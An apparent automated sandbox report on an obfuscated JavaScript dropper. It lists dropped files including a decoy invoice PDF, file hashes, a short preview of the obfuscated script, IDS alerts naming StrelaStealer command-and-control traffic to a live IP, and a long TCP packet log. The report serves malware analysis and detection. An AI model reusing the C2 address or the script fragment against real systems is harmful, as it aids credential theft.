Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\bb2f0184-dd50-4c33-aa95-6f48dcfbf28d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16771), with CRLF line terminators
Entropy (8bit):	4.9187826004320225
TrID:
File name:	622118739225021737.js
File size:	20'510 bytes
MD5:	abec42c614629ad401c3bde94fcbbf85
SHA1:	2590a419fcf895aaca52d388c0e3a70eeea2b857
SHA256:	885e0d48fe510339af8423f1398b33519b2b26541a56dc34786254384b428537
SHA512:	2d4c703ddd7b18cea51d5d18baba730e9ca5b2016933d5853c86ac0858ad747c62a2dccac6c9ee7901c82ef796c30d073fcfe58d0028876e8ca32b1f89bf097b
SSDEEP:	384:U5T08c1da063BZkppbUmnr5EF0TsbCKTEB5DKQGwEqgD+z1YjmSuwKgkz9T5jyXj:U5q1da06RZkppbZr5Y0TsbCKTEB5DKQq
TLSH:	589242C3DB809FA802F8167850E309E171B9CDED04354245606656EF7F09AAB1FE67BE
File Content Preview:	function tygvd(){nwlhd=[1031,3079,5127,4103,2055,3072];var yxdwin=this[blkal+vguozdr+fvhpu+yebirymni+nijllvnl+fettydhn+zderruwyk+brjbwkay](this[ghnrnnxu+kqdigbkhp+ectunpww+fvhpu+pgwtgrobd+blkal+brjbwkay][rapxhoixx+fvhpu+nijllvnl+vguozdr+brjbwkay+nijllvnl+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T04:19:26.543857+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49705	193.143.1.205	80	TCP
2025-01-11T04:19:26.543857+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49705	193.143.1.205	80	TCP
2025-01-11T04:19:28.966215+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:19:25.673042059 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:25.678035021 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:25.678136110 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:25.681268930 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:25.686098099 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.543791056 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.543816090 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.543829918 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.543844938 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.543857098 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.543858051 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.543868065 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.543881893 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.543932915 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.543965101 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.543982029 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.543992996 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.544008017 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.544012070 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.544033051 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.548799038 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.548810959 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.548824072 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.548854113 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.548894882 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.574054003 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.574064970 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.574114084 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.574131012 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.574150085 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.574162960 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.574194908 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.574536085 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.574587107 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.574589014 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.574601889 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.574632883 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.574707985 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.575175047 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.575213909 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.575234890 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.575247049 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.575278997 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.575308084 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.575325966 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.575371981 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.575977087 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.576035023 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.576047897 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.576080084 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.576112032 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.576148033 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.578932047 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.579001904 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.579015017 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.579044104 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.597068071 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.597111940 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.628330946 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.628361940 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.628374100 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.628397942 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.628437042 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.628468037 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.660375118 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.660387039 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.660459995 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.692244053 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.692269087 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.692281961 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.692307949 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.692320108 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.692364931 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.692433119 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.692445040 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.692476034 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.692759037 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.692800045 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.692806005 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.692909002 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.692943096 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.692955017 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.692966938 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.693002939 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.693131924 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.693142891 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.693182945 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.693448067 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.693458080 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.693469048 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.693494081 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.693598032 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.693609953 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.693619967 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.693630934 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.693634033 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.693650961 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.693811893 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.693824053 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.693850040 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.694225073 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.694236040 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.694246054 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.694264889 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.694288015 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.694367886 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.694432974 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.694448948 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.694459915 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.694468021 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.694490910 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.694586039 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.694597006 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.694603920 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.694628954 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.695142984 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.695162058 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.695173979 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.695182085 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.695210934 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.695342064 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.695353031 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.695390940 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.714519024 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.714703083 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.714711905 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.714749098 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.745618105 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.745667934 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.745755911 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.745767117 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.745778084 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.745789051 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.745805979 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.745846033 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.745906115 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.745917082 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.745929003 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.745955944 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.778539896 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.778562069 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.778573990 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.778614044 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.778631926 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.778685093 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.811286926 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.811321974 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.811388016 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.811408997 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.811419964 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.811450005 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.811459064 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.811486959 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.811489105 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.811650038 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.811662912 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.811691046 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.811705112 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.811718941 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.811763048 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.811853886 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.811865091 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.811897039 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.812042952 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.812056065 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.812067986 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.812084913 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.812113047 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.812128067 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.812266111 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.812309980 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.812330008 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.812342882 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.812386990 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.812422037 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.812433004 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.812469006 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.812504053 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.812562943 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.812575102 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.812602043 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.812702894 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.812743902 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.812752008 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.812810898 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.812849998 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.812877893 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.812889099 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.812927961 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.813072920 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.813086033 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.813097954 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.813110113 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.813127041 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.813147068 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.813246965 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.813383102 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.813421965 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.813424110 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.813435078 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.813467026 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.813602924 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.813616037 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.813672066 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.813700914 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.813713074 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.813747883 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.813941002 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.813952923 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.813963890 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.813982964 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.814106941 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.814119101 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.814131021 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.814142942 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.814150095 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.814166069 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.814240932 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.814254999 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.814285994 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.816241980 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.816265106 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.816302061 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.816318035 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.816337109 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.816344976 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.816405058 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.816418886 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.816445112 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.816467047 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.816481113 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.816510916 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.816587925 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.816601992 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.816613913 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.816632032 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.816643000 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.816740036 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.816754103 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.816766024 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.816777945 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.816807032 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.816862106 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.817173958 CET	80	49705	193.143.1.205	192.168.2.5
